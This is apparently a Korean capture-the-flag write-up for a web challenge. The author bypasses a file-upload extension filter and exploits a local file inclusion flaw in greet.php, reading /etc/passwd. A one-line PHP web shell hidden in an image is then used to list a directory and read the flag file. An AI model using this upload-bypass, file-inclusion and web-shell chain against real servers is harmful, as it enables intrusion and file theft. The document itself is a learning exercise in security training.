서버에서 중요 파일! flag 파일을 가져와라!
링크에 접속했습니다.
회원가입하고 로그인했습니다. 게시판, 마이페이지, 인사말, 로그아웃 버튼이 보입니다.
우선 게시판에 들어왔습니다.
Hello.php 파일을 업로드해 보겠습니다. 안에는 <?php echo “Hello, world!”; ?> 이런 코드가 있습니다.
업로드할 수 없는 확장자라고 나오네요.
jpg로 확장자만 바꿔서 업로드해 보겠습니다.
확장자 바꿔서 글 작성에 성공했습니다.
파일이 어디에 저장되는지 다운로드 버튼을 눌러서 Burp Suite로 확인해 보도록 하겠습니다.
파일 저장 경로를 알아내었습니다. 여기서 jpg 파일을 php로 바꿔보려고 여러 가지 시도를 해보고 다 실패를 해서 인사말로 가보았습니다.
인사말 클릭!
이런 페이지가 나왔네요.
한국어를 눌러보니 greet.php 파일에서 ko.php 파일을 불러오는 거 같습니다.
/etc/passwd 파일을 불러와봤습니다. greet.php에서 include를 사용해 파일을 불러오는 것이 확인되었습니다.
로그인 페이지도 잘 불러와지는지 테스트해 보았습니다. 만약 /webshell_3/ 이 디렉터리에 login.php 파일이 있다면 불러와져야 하는데 없는 거 같습니다. /webshell_3/디렉터리 하위 폴더에 있다면 파일 디렉터리 경로를 조사해야 하고 상위 폴더에 있다면 ../ 로 이동해서 찾을 수 있습니다.
상위 폴더에 하나씩 대입해 보다가 빨리 발견했습니다. 경로를 대충 알 수 있었습니다.
그럼 이제 다시 게시판으로 와 그림웹쉘안에 <?php echo system($_GET[‘cmd’]); ?> 이런 코드를 넣고 http://ctf.segfaulthub.com:9023/webshell_3/greet.php? lang= 이경로에서 greet.php 코드로 불러오면 실행할 수 있을 거라고 예상했습니다.
그럼 그림 웹쉘 올리겠습니다.
올라간 걸 확인했습니다.
다시 인사말로 와 올라간 경로로 include 시도해봤는데 나오지 않았습니다.
상위 디렉터리부터 찾아보았는데 운이 좋게 찾아진 걸 확인했습니다. topSecret 디렉터리가 수상하네요.
pwd로 현재 작업 경로 확인해 주었습니다.
cmd=ls%20/app/webshell_3/topSecret 이렇게 플래그 파일을 찾았습니다.
cmd=cat%20/app/webshell_3/topSecret/flag.txt 이렇게 플래그를 확인할 수 있었습니다.
끝까지 읽어주셔서 감사합니다. 오늘도 정보 보안에 힘써주시는 여러분들 화이팅 하세요!